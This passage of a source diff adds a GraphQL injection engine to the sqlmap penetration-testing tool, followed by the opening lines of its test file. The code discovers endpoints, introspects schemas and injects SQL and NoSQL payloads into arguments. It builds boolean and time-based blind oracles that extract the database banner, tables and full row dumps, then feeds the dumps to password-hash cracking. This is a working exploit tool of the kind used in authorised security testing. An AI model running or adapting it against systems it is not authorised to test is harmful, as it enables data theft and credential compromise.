tables="(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())", + columns=lambda table: "(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='%s')" % table, + rows=_mysqlRows)), +)) + + +# --- Slot model ------------------------------------------------------------- + +# Carries everything needed to build a valid GraphQL document for one argument +# injection point: the root operation (query/mutation), the full field argument +# list (so required siblings can be defaulted), the target argument name, the +# injection strategy, and return-type metadata for a correct selection set. +Slot = namedtuple("Slot", ("operation", "parentType", "fieldName", "allArgs", + "targetArg", "strategy", "returnKind", "returnType", + "returnSel")) + + +# --- Helpers ---------------------------------------------------------------- + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _chunks(sequence, size): + # Yield successive `size`-length chunks of `sequence` + for index in xrange(0, len(sequence), size): + yield sequence[index:index + size] + + +def _unwrapType(typeObj, depth=0): + # Traverse a GraphQL type chain, returning [(kind, name), ...] from outermost + # to innermost. NON_NULL and LIST wrappers are unwrapped transparently; named + # types terminate the chain. + if depth > 8 or not isinstance(typeObj, dict): + return [] + kind = typeObj.get("kind", "") + name = typeObj.get("name") + ofType = typeObj.get("ofType") + if ofType and kind in ("NON_NULL", "LIST"): + return [(kind, name)] + _unwrapType(ofType, depth + 1) + return [(kind, name)] + + +def _leafName(chain): + # Last named type in the unwrapped chain (strips NON_NULL / LIST wrappers) + for kind, name in reversed(chain): + if name: + return name + return None + + +def _classifyArg(argType): + # Map a GraphQL argument type to a strategy key, or None for skipped types + chain = _unwrapType(argType) + named = next((name for kind, name in reversed(chain) if name), None) + return SCALAR_STRATEGY.get(named) + + +def _escapeGraphQLString(value): + # Escape a string for embedding inside a double-quoted GraphQL string literal + return getUnicode(value).replace("\\", "\\\\").replace('"', '\\"').replace("\n", "\\n") + + +def _cell(value): + # Render a parsed JSON value as a single dump cell: NULL for null, compact JSON + # for nested objects/arrays (never the Python repr), and the plain text otherwise + if value is None: + return "NULL" + if isinstance(value, (dict, list)): + return json.dumps(value, sort_keys=True) + return "%s" % (value,) + + +# --- HTTP transport --------------------------------------------------------- + +def _gqlSend(endpoint, query, variables=None): + # POST a JSON GraphQL request to `endpoint`, returning (body, http_code) + body = {"query": query} + if variables: + body["variables"] = variables + oldPostHint = getattr(kb, "postHint", None) + try: + kb.postHint = POST_HINT.JSON + page, _, code = Request.getPage(url=endpoint, post=json.dumps(body), + raise404=False, silent=True) + except Exception: + return "", 0 + finally: + kb.postHint = oldPostHint + return page or "", code + + +def _parseJSON(page): + if not page: + return None + try: + return json.loads(page) + except (ValueError, TypeError): + return None + + +def _isGraphQLResponse(page): + # Does `page` look like a GraphQL JSON response envelope? Requires either + # __typename data or GraphQL-specific error phrasing to avoid false positives + # on ordinary JSON APIs. + doc = _parseJSON(page) + if not isinstance(doc, dict): + return False + data = doc.get("data") + if isinstance(data, dict) and data.get("__typename"): + return True + errors = doc.get("errors") + if isinstance(errors, list) and errors: + return bool(re.search(GRAPHQL_ERROR_REGEX, json.dumps(errors))) + return False + + +def _errorText(page): + # Extract a concatenated error-message string from a GraphQL error envelope + doc = _parseJSON(page) + if not isinstance(doc, dict): + return "" + errors = doc.get("errors") or [] + parts = [] + for e in errors: + if isinstance(e, dict): + parts.append(getUnicode(e.get("message", ""))) + ext = e.get("extensions") + if isinstance(ext, dict): + parts.append(getUnicode(ext.get("code", ""))) + exception = ext.get("exception") + if isinstance(exception, (str, bytes)): + parts.append(getUnicode(exception)) + return "\n".join(p for p in parts if p) + + +def _slotValue(page): + # Extract the first `data` subtree for boolean comparison - we compare the + # resolved field content, not the whole GraphQL envelope. + doc = _parseJSON(page) + if not isinstance(doc, dict): + return page + data = doc.get("data") + if isinstance(data, dict): + for v in data.values(): + if v is not None: + return json.dumps(v, sort_keys=True) + return json.dumps(data, sort_keys=True) + + +# --- Endpoint detection ----------------------------------------------------- + +def _detectEndpoint(baseUrl, probePaths=True): + # Identify the GraphQL endpoint URL. If `baseUrl` already points at a path + # that responds as GraphQL, return it directly. Otherwise probe common paths. + + page, code = _gqlSend(baseUrl, "{__typename}") + if _isGraphQLResponse(page): + return baseUrl, page + + if not probePaths: + return None, None + + for path in GRAPHQL_ENDPOINT_PATHS: + candidate = baseUrl.rstrip("/") + path + page, code = _gqlSend(candidate, "{__typename}") + if _isGraphQLResponse(page): + return candidate, page + + return None, None + + +# --- Schema introspection --------------------------------------------------- + +def _introspect(endpoint): + # Send the standard introspection query and return the parsed __schema dict. + # Falls back to a query without `specifiedByURL` for older GraphQL servers + # that reject it. + + for query in (GRAPHQL_INTROSPECTION_QUERY, + GRAPHQL_INTROSPECTION_QUERY.replace('specifiedByURL\n', '')): + page, code = _gqlSend(endpoint, query) + doc = _parseJSON(page) + if not isinstance(doc, dict): + continue + data = doc.get("data") + if isinstance(data, dict) and "__schema" in data: + return data["__schema"] + return None + + +# --- Schema walking --------------------------------------------------------- + +def _extractSlots(schema): + # Walk the schema's Query and Mutation types, harvesting every + # scalar/injectable argument as a Slot + + _inputFields.clear() + + slots = [] + typeByName = {} + for t in (schema.get("types") or []): + if isinstance(t, dict) and t.get("name"): + typeByName[t["name"]] = t + if t.get("kind") == "INPUT_OBJECT": + _inputFields[t["name"]] = [ + (f["name"], f.get("type", {}), f.get("defaultValue")) + for f in (t.get("inputFields") or []) + ] + + queryName = (schema.get("queryType") or {}).get("name") + mutationName = (schema.get("mutationType") or {}).get("name") + + for op, rootName in (("query", queryName), ("mutation", mutationName)): + if not rootName: + continue + rootType = typeByName.get(rootName) + if not rootType or rootType.get("kind") != "OBJECT": + continue + for field in (rootType.get("fields") or []): + fieldName = field["name"] + fieldArgs = field.get("args") or [] + + # Resolve return-type kind and the leaf selection set + returnChain = _unwrapType(field.get("type", {})) + returnKind = "SCALAR" + returnTypeName = _leafName(returnChain) + for kind, name in returnChain: + if kind != "NON_NULL": + returnKind = kind + + returnObj = typeByName.get(returnTypeName) if returnTypeName else None + leafFields = _scalarFields(returnObj, typeByName) + + # Nested object selections (one level) + nested = {} + if returnObj and returnObj.get("kind") == "OBJECT": + for rf in (returnObj.get("fields") or []): + rfChain = _unwrapType(rf.get("type", {})) + rfName = _leafName(rfChain) + rfObj = typeByName.get(rfName) if rfName else None + if rfObj and rfObj.get("kind") == "OBJECT": + nested[rf["name"]] = _scalarFields(rfObj, typeByName) or ["__typename"] + + returnSel = _renderSelection(returnKind, returnTypeName, leafFields, nested) + + for arg in (fieldArgs or []): + allArgs = [(a["name"], a.get("type", {}), a.get("defaultValue")) for a in fieldArgs] + strategy = _classifyArg(arg.get("type", {})) + if strategy: + slots.append(Slot(op, rootName, fieldName, allArgs, + arg["name"], strategy, returnKind, + returnTypeName, returnSel)) + elif _isInputObject(arg.get("type", {}), typeByName): + _inputSlots(op, rootName, fieldName, allArgs, + arg["name"], arg.get("type", {}), + returnKind, returnTypeName, returnSel, typeByName, slots) + return slots + + +def _isInputObject(typeObj, typeByName): + name = _leafName(_unwrapType(typeObj)) + if not name: + return None + t = typeByName.get(name) + return t if t and t.get("kind") == "INPUT_OBJECT" else None + + +def _inputSlots(op, rootName, fieldName, allArgs, argName, typeObj, + returnKind, returnType, returnSel, typeByName, slots): + # Recurse one level into an input object's fields + inputType = _isInputObject(typeObj, typeByName) + if not inputType: + return + for fld in (inputType.get("inputFields") or []): + strategy = _classifyArg(fld.get("type", {})) + if strategy: + slots.append(Slot(op, rootName, fieldName, allArgs, + "%s.%s" % (argName, fld["name"]), strategy, + returnKind, returnType, returnSel)) + + +def _scalarFields(objType, typeByName, depth=0): + # Return scalar/leaf field names reachable from `objType` (for selection set) + if not objType or depth > 3: + return [] + names = [] + for fld in (objType.get("fields") or []): + fType = typeByName.get(_leafName(_unwrapType(fld.get("type", {})))) + if not fType or fType.get("kind") in ("SCALAR", "ENUM"): + names.append(fld["name"]) + return names + + +def _renderSelection(returnKind, returnType, leafFields, nested): + # Build the return selection part of a GraphQL document string. + # Scalars/enums: no sub-selection (None). Objects/Lists-of-objects: + # nested field set. Lists-of-scalars also get no sub-selection. + if returnKind in ("SCALAR", "ENUM"): + return None + leafPart = " ".join(leafFields) if leafFields else "__typename" + nestedPart = "" + for objField, subFields in (nested or {}).items(): + nestedPart += " %s { %s }" % (objField, " ".join(subFields)) + return "{ %s%s }" % (leafPart, nestedPart) + + +# --- Request construction --------------------------------------------------- + +def _fieldFragment(slot, value, alias=None): + # Render a single `alias:field(args) selection` fragment with `value` in the + # target argument. Required sibling arguments get safe defaults. Returns "" when + # the value cannot be embedded (e.g. a non-numeric payload in an Int literal). + + if slot.strategy == "numeric" and not getUnicode(value).lstrip("-").isdigit(): + return "" + + renderedArgs = [] + for argName, argType, default in slot.allArgs: + if argName == slot.targetArg or slot.targetArg.startswith(argName + "."): + if "." in slot.targetArg: + outer, inner = slot.targetArg.split(".", 1) + if argName == outer: + renderedArgs.append("%s: {%s}" % (outer, _renderInputObj(slot, value))) + continue + renderedArgs.append(_renderArg(argName, value, slot.strategy)) + else: + siblingStrategy = _classifyArg(argType) or "string" + renderedArgs.append(_renderArg(argName, _defaultForArg(argType, default), siblingStrategy)) + + sel = slot.returnSel + if sel is None: + sel = "" + elif not sel: + sel = "{ __typename }" + argsPart = "(%s)" % ", ".join(renderedArgs) if renderedArgs else "" + return "%s:%s%s %s" % (alias or slot.fieldName, slot.fieldName, argsPart, sel) + + +def _buildQuery(slot, value): + # Render a complete single-field GraphQL document with `value` in the target + # argument. Wraps as a mutation when the slot belongs to the mutation root. + fragment = _fieldFragment(slot, value) + if not fragment: + return "" + prefix = "mutation " if slot.operation == "mutation" else "" + return "%s{%s}" % (prefix, fragment) + + +def _buildBatch(slot, values): + # Render one GraphQL document aliasing the field once per value (a0, a1, ...), + # so many independent injections resolve in a single request. Returns + # (document, aliases) or ("", []) when any value cannot be embedded. + fragments, aliases = [], [] + for index, value in enumerate(values): + alias = "a%d" % index + fragment = _fieldFragment(slot, value, alias) + if not fragment: + return "", [] + fragments.append(fragment) + aliases.append(alias) + prefix = "mutation " if slot.operation == "mutation" else "" + return "%s{%s}" % (prefix, " ".join(fragments)), aliases + + +def _renderArg(name, value, strategy): + # Render a single argument: name:"value" (string) or name:value (numeric) + if strategy == "numeric": + return "%s:%s" % (name, value) + if strategy == "id_dual" and isinstance(value, (str, bytes)) and getUnicode(value).lstrip("-").isdigit(): + return "%s:%s" % (name, value) + return '%s:"%s"' % (name, _escapeGraphQLString(value)) + + +def _renderInputObj(slot, value): + # Render an input-object literal with the target inner field set to `value` + # and all required sibling fields filled with safe defaults + _, inner = slot.targetArg.split(".", 1) + + outerArg = slot.targetArg.split(".")[0] + inputFields = [] + for aName, aType, aDefault in slot.allArgs: + if aName == outerArg: + objName = _leafName(_unwrapType(aType)) + if objName: + inputFields = _inputFields.get(objName, []) + break + + parts = [] + for fldName, fldType, fldDefault in inputFields: + if fldName == inner: + fldStrategy = _classifyArg(fldType) or "string" + parts.append(_renderArg(inner, value, fldStrategy)) + else: + fldStrategy = _classifyArg(fldType) or "string" + parts.append(_renderArg(fldName, _defaultForArg(fldType, fldDefault), fldStrategy)) + return ", ".join(parts) + + +def _defaultForArg(argType, default): + # Return a safe GraphQL default value for a field argument: the schema + # default if present, otherwise a type-appropriate sentinel + if default is not None: + return default + strategy = _classifyArg(argType) + if strategy == "numeric": + return 0 + return "x" + + +# --- Detection -------------------------------------------------------------- + +def _detectError(slot, endpoint): + # Error-based detection: inject SQL/NoSQL error-inducing payloads and check + # whether the GraphQL `errors` envelope carries a known DBMS signature + + for payload in _SQL_ERROR_PAYLOADS: + query = _buildQuery(slot, payload) + if not query: + continue + page, code = _gqlSend(endpoint, query) + err = _errorText(page) + if not err: + continue + for pattern in ERROR_PARSING_REGEXES: + m = re.search(pattern, err) + if m: + return "error-based", m.group("result") if "result" in m.groupdict() else err[:200] + + # Try NoSQL error signatures + for payload in (_NOSQL_NE, _NOSQL_IN): + query = _buildQuery(slot, payload) + if not query: + continue + page, code = _gqlSend(endpoint, query) + err = _errorText(page) + if err and re.search(NOSQL_ERROR_REGEX, err): + return "error-based", err[:200] + + return None, None + + +def _detectBoolean(slot, endpoint): + # Boolean-based detection: compare the resolved data between true and false + # payloads. Numeric GraphQL literals (Int/Float) cannot carry SQL payloads. + + if slot.strategy == "numeric": + return None, None + + trueQuery = _buildQuery(slot, _SQL_BOOLEAN_TRUE) + falseQuery = _buildQuery(slot, _SQL_BOOLEAN_FALSE) + + if not trueQuery or not falseQuery: + return None, None + + truePage, _ = _gqlSend(endpoint, trueQuery) + falsePage, _ = _gqlSend(endpoint, falseQuery) + + trueVal = _slotValue(truePage) + falseVal = _slotValue(falsePage) + + if _ratio(trueVal, falseVal) < (1.0 - _MIN_RATIO_DIFF): + return "boolean-based blind (string)", truePage + + return None, None + + +def _detectTime(slot, endpoint): + # Time-based detection: send a per-dialect conditional sleep and measure the + # elapsed time against a baseline. Returns (oracleType, threshold, dbms). + + if slot.strategy == "numeric": + return None, None, None + + baseQuery = _buildQuery(slot, "x") + if not baseQuery: + return None, None, None + + start = time.time() + _gqlSend(endpoint, baseQuery) + baseline = time.time() - start + + delay = conf.timeSec + for dbms, dialect in DIALECTS.items(): + if not dialect.delay: + continue + query = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=1", delay))) + if not query: + continue + start = time.time() + _gqlSend(endpoint, query) + if (time.time() - start) > baseline + delay * 0.5: + return "time-based blind", baseline + delay * 0.5, dbms + + return None, None, None + + +# --- Boolean / time oracle (universal blind-SQLi primitive) ----------------- + +def _makeOracle(slot, endpoint, dbmsHint=None, threshold=None): + """Establish a truth(sqlCondition) -> bool primitive on `slot`. For a content + oracle the condition is injected as `' OR ()-- ` and the resolved + field is compared to its always-true template; for a timing oracle the condition + is wrapped in the dialect's conditional sleep. Returns (truth, truthBatch) where + truthBatch(conditions) -> [bool] evaluates many conditions in one aliased request + (None when the back-end rejects batching). Returns (None, None) when no usable + contrast exists on this slot.""" + + def _payload(condition): + return "%s' OR (%s)-- " % (SENTINEL, condition) + + if threshold is not None and dbmsHint and DIALECTS[dbmsHint].delay: + # Timing oracle: a per-document sleep fires only when `condition` holds. Batching + # would serialise the sleeps and inflate every request, so it is not offered here. + delay = DIALECTS[dbmsHint].delay + + def truth(condition): + query = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, delay(condition, conf.timeSec))) + if not query: + return False + start = time.time() + _gqlSend(endpoint, query) + return (time.time() - start) > threshold + + return truth, None + + # Content oracle: capture the always-true template and require a clear true/false split + trueVal = _slotValue(_gqlSend(endpoint, _buildQuery(slot, _payload("1=1")))[0]) + falseVal = _slotValue(_gqlSend(endpoint, _buildQuery(slot, _payload("1=2")))[0]) + if _ratio(trueVal, falseVal) > UPPER_RATIO_BOUND: + return None, None + + def truth(condition): + query = _buildQuery(slot, _payload(condition)) + if not query: + return False + page, _ = _gqlSend(endpoint, query) + return _ratio(_slotValue(page), trueVal) > UPPER_RATIO_BOUND + + def truthBatch(conditions): + query, aliases = _buildBatch(slot, [_payload(_) for _ in conditions]) + if not query: + return [False] * len(conditions) + page, _ = _gqlSend(endpoint, query) + data = (_parseJSON(page) or {}).get("data") or {} + return [_ratio(json.dumps(data.get(alias), sort_keys=True, default=str), trueVal) > UPPER_RATIO_BOUND + for alias in aliases] + + # Sanity: the oracle must answer a known truth/falsehood correctly + if not (truth("1=1") and not truth("1=2")): + return None, None + + return truth, truthBatch + + +def _fingerprint(truth): + # Identify the back-end DBMS by probing each dialect's signature predicate + for dbms, dialect in DIALECTS.items(): + if truth(dialect.fingerprint): + return dbms + return None + + +# --- Blind inference -------------------------------------------------------- + +def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): + # Recover the string value of SQL expression `expr` one character at a time: + # binary-search the length, then bisect each character's codepoint over the + # printable-ASCII range (~log2(95) requests per character). + lengthExpr = dialect.length(expr) + + if not truth("%s>0" % lengthExpr): + return "" if truth("%s=0" % lengthExpr) else None + + length, probe = 1, 2 + while probe <= maxLen and truth("%s>=%d" % (lengthExpr, probe)): + length, probe = probe, probe * 2 + low, high = length, min(probe, maxLen + 1) + while low + 1 < high: + mid = (low + high) // 2 + if truth("%s>=%d" % (lengthExpr, mid)): + low = mid + else: + high = mid + length = low + + value = "" + for pos in xrange(1, length + 1): + ordExpr = dialect.ordinal(expr, pos) + if not truth("%s>=%d" % (ordExpr, CHAR_MIN)): + value += "?" # codepoint outside the printable-ASCII range + continue + low, high = CHAR_MIN, CHAR_MAX + while low < high: + mid = (low + high + 1) // 2 + if truth("%s>=%d" % (ordExpr, mid)): + low = mid + else: + high = mid - 1 + value += chr(low) + return value + + +def _inferExprBatched(truthBatch, dialect, expr, maxLen=MAX_LENGTH): + # Same recovery as _inferExpr, but every probe is independent and resolved in + # parallel via aliased batching: the length is read from monotone >=N predicates + # and each character from its 7 independent bit predicates (ASCII & 2**b). An + # L-character value costs ceil(7*L / BATCH_SIZE) requests instead of ~7*L. + lengthExpr = dialect.length(expr) + + length = 0 + for chunk in _chunks(list(xrange(1, maxLen + 1)), BATCH_SIZE): + results = truthBatch(["%s>=%d" % (lengthExpr, _) for _ in chunk]) + hits = [n for n, ok in zip(chunk, results) if ok] + if hits: + length = max(length, max(hits)) + if not all(results): # monotone predicate: no longer length can be true beyond here + break + if length == 0: + return "" + + conditions, index = [], [] + for pos in xrange(1, length + 1): + for bit in xrange(7): + conditions.append("(%s & %d)>0" % (dialect.ordinal(expr, pos), 1 << bit)) + index.append((pos, bit)) + + codes = {} + flat = [] + for chunk in _chunks(conditions, BATCH_SIZE): + flat.extend(truthBatch(chunk)) + for (pos, bit), ok in zip(index, flat): + if ok: + codes[pos] = codes.get(pos, 0) | (1 << bit) + + value = "" + for pos in xrange(1, length + 1): + code = codes.get(pos, 0) + value += chr(code) if CHAR_MIN <= code <= CHAR_MAX else "?" + return value + + +def _inferrer(truth, truthBatch, dialect): + # Pick batched inference when the back-end honours aliased batching (verified + # with a known true/false pair), else fall back to sequential bisection + if truthBatch and truthBatch(["1=1", "1=2"]) == [True, False]: + logger.info("using aliased query batching to accelerate blind extraction") + return lambda expr, maxLen=MAX_LENGTH: _inferExprBatched(truthBatch, dialect, expr, maxLen) + return lambda expr, maxLen=MAX_LENGTH: _inferExpr(truth, dialect, expr, maxLen) + + +def _dumpTable(infer, dialect, table): + # Enumerate a table's columns, then recover every row as one concatenated scalar + # and split it back into a (columns, rows) grid + columnsRaw = infer(dialect.columns(table)) + columns = [_ for _ in (columnsRaw or "").split(",") if _] + if not columns: + return None + + raw = infer(dialect.rows(columns, table), DUMP_MAX_LENGTH) + rows = [] + for record in (raw or "").split(ROW_SEP) if raw else []: + cells = record.split(COL_SEP) + rows.append((cells + [""] * len(columns))[:len(columns)]) + return columns, rows + + +# --- Dump ------------------------------------------------------------------- + +def _dumpInband(endpoint, slot, templatePage): + # Check whether the always-true response carries materially more data than + # the original (in-band data exposure) + origQuery = _buildQuery(slot, "x") + if not origQuery: + return None + origPage, _ = _gqlSend(endpoint, origQuery) + if len(templatePage or "") < len(origPage or "") * 1.25: + return None + return _parseRows(templatePage, slot) + + +def _parseRows(page, slot): + # Parse a GraphQL JSON `data` tree into (columns, rows) + doc = _parseJSON(page) + if not isinstance(doc, dict): + return None + data = doc.get("data") + if not isinstance(data, dict): + return None + for v in data.values(): + if v is None: + return None + if isinstance(v, list): + columns = [] + for item in v: + if isinstance(item, dict): + for k in item: + if k not in columns: + columns.append(k) + rows = [] + for item in v: + if isinstance(item, dict): + rows.append([_cell(item.get(c)) for c in columns]) + return (columns, rows) if rows else None + if isinstance(v, dict): + columns = sorted(v.keys()) + rows = [[_cell(v.get(c)) for c in columns]] + return (columns, rows) + return None + + +def _grid(columns, rows): + # Render a simple ASCII table + if not columns or not rows: + return "(empty)" + widths = [] + for i, c in enumerate(columns): + w = len("%s" % (c,)) + for r in rows: + w = max(w, len("%s" % (r[i] if i < len(r) else "",))) + widths.append(w) + sep = "+-" + "-+-".join("-" * w for w in widths) + "-+" + header = "| " + " | ".join(("%s" % (c,)).ljust(w) for c, w in zip(columns, widths)) + " |" + lines = [sep, header, sep] + for row in rows: + lines.append("| " + " | ".join(("%s" % (row[i] if i < len(row) else "",)).ljust(w) + for i, w in enumerate(widths)) + " |") + lines.append(sep) + return "\n".join(lines) + + +def _renderTypeStr(chain): + # Render a GraphQL type chain as a readable string: [User]! or String! + named = _leafName(chain) or "" + prefix = "" + suffix = "" + for kind, _ in chain: + if kind == "NON_NULL": + suffix = "!" + elif kind == "LIST": + prefix = "[" + prefix + suffix = suffix + "]" + return prefix + named + suffix + + +def _dumpSchema(schema, endpoint): + # Dump the schema as readable tables: types and their fields/arguments + if not schema: + return + + types = schema.get("types") or [] + queryName = (schema.get("queryType") or {}).get("name") + mutationName = (schema.get("mutationType") or {}).get("name") + + rows = [] + for t in types: + if not isinstance(t, dict): + continue + kind = t.get("kind", "") + name = t.get("name", "") + if kind not in ("OBJECT", "INPUT_OBJECT"): + continue + rootTag = "" + if name == queryName: + rootTag = " [Query]" + elif name == mutationName: + rootTag = " [Mutation]" + fields = t.get("fields") or t.get("inputFields") or [] + if not fields: + rows.append([kind, name + rootTag, "", "", "", ""]) + for f in fields: + fName = f.get("name", "") + typeStr = _renderTypeStr(_unwrapType(f.get("type", {}))) + for a in (f.get("args") or []): + aType = _renderTypeStr(_unwrapType(a.get("type", {}))) + strategy = _classifyArg(a.get("type", {})) or "" + rows.append([kind, name + rootTag, fName, typeStr, a["name"], aType, strategy]) + if not (f.get("args") or []): + rows.append([kind, name + rootTag, fName, typeStr, "", "", ""]) + + if rows: + conf.dumper.singleString("GraphQL schema (%s):\n%s" % (endpoint, + _grid(["Kind", "Type", "Field", "Return", "Argument", "ArgType", "Strategy"], rows))) + + +# --- Orchestration ---------------------------------------------------------- + +def _testSlot(slot, endpoint): + """Confirm an injection on `slot` and report it. Returns (oracleType, oracle, detail) + where `oracle` is (truth, truthBatch, dbmsHint) for a usable blind-SQLi primitive (None for an + error-only / non-differential point) and `oracleType` is None when nothing is confirmed.""" + + kind = oracleType = detail = templatePage = dbmsHint = threshold = None + + # Boolean content inference is the most reliable extraction oracle, so it is preferred over the + # (also valid) error and time signals, which serve as fallbacks for non-differential slots. + oracleType, templatePage = _detectBoolean(slot, endpoint) + if oracleType: + kind = "boolean" + logger.info("boolean-based oracle confirmed (%s)" % oracleType) + else: + errorType, detail = _detectError(slot, endpoint) + if errorType: + kind, oracleType = "error", errorType + logger.info("error-based oracle confirmed") + else: + oracleType, threshold, dbmsHint = _detectTime(slot, endpoint) + if oracleType: + kind = "time" + logger.info("time-based oracle confirmed (back-end '%s', threshold %.1fs)" % (dbmsHint, threshold)) + + if not kind: + logger.info("no oracle confirmed for this slot") + return None, None, None + + title = "GraphQL %s" % oracleType + payload = _buildQuery(slot, _SQL_BOOLEAN_TRUE) or _SQL_BOOLEAN_TRUE + report = "---\nParameter: %s.%s(%s:) (%s)\n Type: GraphQL injection\n Title: %s\n Payload: %s\n---" % ( + slot.parentType, slot.fieldName, slot.targetArg, slot.strategy, title, _escapeGraphQLString(payload)) + conf.dumper.singleString(report) + + # In-band exposure: the always-true payload reflecting extra records directly + if kind == "boolean" and templatePage: + rows = _dumpInband(endpoint, slot, templatePage) + if rows: + columns, dataRows = rows + logger.info("in-band data exposure: %d record(s)" % len(dataRows)) + conf.dumper.singleString("GraphQL in-band data for %s.%s(%s:):\n%s" % ( + slot.parentType, slot.fieldName, slot.targetArg, _grid(columns, dataRows))) + + if kind in ("boolean", "time"): + truth, truthBatch = _makeOracle(slot, endpoint, dbmsHint, threshold) + if truth: + return oracleType, (truth, truthBatch, dbmsHint), detail + + return oracleType, None, detail + + +def _enumerate(oracle): + """Drive the blind-SQLi oracle to fingerprint the back-end and enumerate it: + banner, current user/database, the table list, and a full blind dump of every + user table. All of this is recovered without knowing any SQL identifier up front.""" + + truth, truthBatch, dbmsHint = oracle + + dbms = dbmsHint or _fingerprint(truth) + if not dbms: + logger.warning("could not fingerprint the back-end DBMS through the GraphQL oracle") + return + + dialect = DIALECTS[dbms] + logger.info("back-end DBMS: '%s'" % dbms) + conf.dumper.singleString("GraphQL back-end DBMS: %s" % dbms) + + infer = _inferrer(truth, truthBatch, dialect) + + for label, expr in (("banner", dialect.banner), + ("current user", dialect.currentUser), + ("current database", dialect.currentDb)): + if not expr: + continue + value = infer(expr) + if value: + logger.info("%s: '%s'" % (label, value)) + conf.dumper.singleString("GraphQL %s: %s" % (label, value)) + + tablesRaw = infer(dialect.tables) if dialect.tables else None + tables = [_ for _ in (tablesRaw or "").split(",") if _] + if not tables: + logger.warning("no tables recovered through the oracle") + return + + logger.info("fetching tables") + conf.dumper.singleString("GraphQL database tables [%d]:\n%s" % ( + len(tables), _grid(["table"], [[_] for _ in tables]))) + + for table in tables: + parsed = _dumpTable(infer, dialect, table) + if not parsed: + continue + columns, rows = parsed + logger.info("fetched %d entr%s from table '%s'" % (len(rows), "y" if len(rows) == 1 else "ies", table)) + + # Populate kb.data.dumpedTable and feed it through the standard + # password-hash analysis (hash-recognition + optional dictionary-crack) + # BEFORE displaying the dump, so that cracked passwords appear inline + # next to their hashes (matching the regular SQL table-dump workflow) + if len(rows) > 0 and not conf.disableHashing: + oldDumpedTable = getattr(kb.data, "dumpedTable", None) + try: + from lib.utils.hash import attackDumpedTable + kb.data.dumpedTable = {"__infos__": {"count": len(rows)}} + for ci, col in enumerate(columns): + kb.data.dumpedTable[col] = {"values": [row[ci] if ci < len(row) else "" for row in rows]} + attackDumpedTable() + # Re-read the rows: attackDumpedTable() may have appended + # cracked passwords in-place (e.g. "hash (password)") + for ci, col in enumerate(columns): + if col in kb.data.dumpedTable: + vals = kb.data.dumpedTable[col].get("values", []) + for ri in xrange(min(len(rows), len(vals))): + if ci < len(rows[ri]): + rows[ri][ci] = vals[ri] + except Exception: + pass + finally: + kb.data.dumpedTable = oldDumpedTable + + conf.dumper.singleString("GraphQL dump of table '%s' [%d]:\n%s" % ( + table, len(rows), _grid(columns, rows))) + + +def graphqlScan(): + # Entry point for '--graphql': detect the GraphQL endpoint, introspect the + # schema, enumerate injectable argument slots, confirm an injection oracle on a + # query slot, then fingerprint and blind-enumerate the SQL back-end through it + # (banner, tables, full table dumps). Mutation slots are reported but not + # exercised, to avoid modifying server-side data. + + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + infoMsg = "'--graphql' is self-contained: it discovers the GraphQL endpoint, " + infoMsg += "enumerates the schema, and injects SQL/NoSQL payloads into reachable " + infoMsg += "argument slots. SQL enumeration switches (e.g. --banner, --dbs, " + infoMsg += "--tables) are ignored" + logger.info(infoMsg) + + url = conf.url.rstrip("/") if conf.url else "" + + if not url: + logger.error("missing target URL") + return + + # 1. Endpoint detection + logger.info("probing for a GraphQL endpoint") + + # If the user supplied a URL that already contains '/graphql/' (e.g. + # .../graphql/get_int?id=1, the broker probe URL), extract the base so + # that probe paths are not appended to a non-GraphQL sub-path + _m = re.match(r"(https?://[^/]+(?:/[^/]+)*?/graphql)(?:/.*)?$", url.rstrip("/")) + if _m: + url = _m.group(1) + + endpoint, _ = _detectEndpoint(url) + if not endpoint: + logger.error("no GraphQL endpoint found at '%s' (tried %d common paths)" % ( + url, len(GRAPHQL_ENDPOINT_PATHS) + 1)) + return + + logger.info("found GraphQL endpoint at '%s'" % endpoint) + + # 2. Schema introspection + logger.info("introspecting the GraphQL schema") + schema = _introspect(endpoint) + if not schema: + logger.error("introspection failed (disabled or the endpoint rejected the query)") + return + + types = schema.get("types") or [] + logger.info("introspection returned %d types" % len(types)) + + # 3. Slot enumeration + slots = _extractSlots(schema) + if not slots: + logger.warning("no injectable argument slots found in the schema") + _dumpSchema(schema, endpoint) + return + + querySlots = [_ for _ in slots if _.operation == "query"] + mutationSlots = [_ for _ in slots if _.operation == "mutation"] + + logger.info("enumerated %d injectable argument slot(s): %d query, %d mutation" % ( + len(slots), len(querySlots), len(mutationSlots))) + + # 4. Schema dump (before detection -- matches regular sqlmap table/column + # enumeration preceding data retrieval) + _dumpSchema(schema, endpoint) + + if mutationSlots: + names = sorted(set("%s(%s:)" % (_.fieldName, _.targetArg) for _ in mutationSlots)) + warnMsg = "skipping %d mutation slot(s) to avoid modifying server-side data " % len(mutationSlots) + warnMsg += "(%s). They may carry the same injection. Test them manually if intended" % ", ".join(names) + logger.warning(warnMsg) + + # 5. Per-slot detection; keep the first usable blind-SQLi oracle for enumeration + oracle = None + found = False + + for slot in querySlots: + logger.info("testing slot %s.%s(%s:) [%s]" % ( + slot.parentType, slot.fieldName, slot.targetArg, slot.strategy)) + + oracleType, slotOracle, _ = _testSlot(slot, endpoint) + if oracleType: + found = True + if slotOracle and not oracle: + oracle = slotOracle + logger.info("retaining %s.%s(%s:) as the blind-SQLi oracle for back-end enumeration" % ( + slot.parentType, slot.fieldName, slot.targetArg)) + + # 6. Back-end enumeration through the retained oracle + if oracle: + _enumerate(oracle) + + if not found: + logger.warning("no injectable slots found. The schema is shown above") + + logger.info("GraphQL scan complete") diff --git a/tests/test_graphql.py b/tests/test_graphql.py new file mode 100644 index 00000000000..64a76e930fa --- /dev/null +++ b/tests/test_graphql.py @@ -0,0 +1,680 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the GraphQL injection engine. Mock oracles stand in for the +HTTP/GraphQL layer so endpoint detection, introspection parsing, slot enumeration, query +construction, and boolean/error-based detection can be exercised without a live target. +""" + +import json +import re +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.graphql.inject as gi + +# --- Mock helpers ----------------------------------------------------------- + +MATCH = 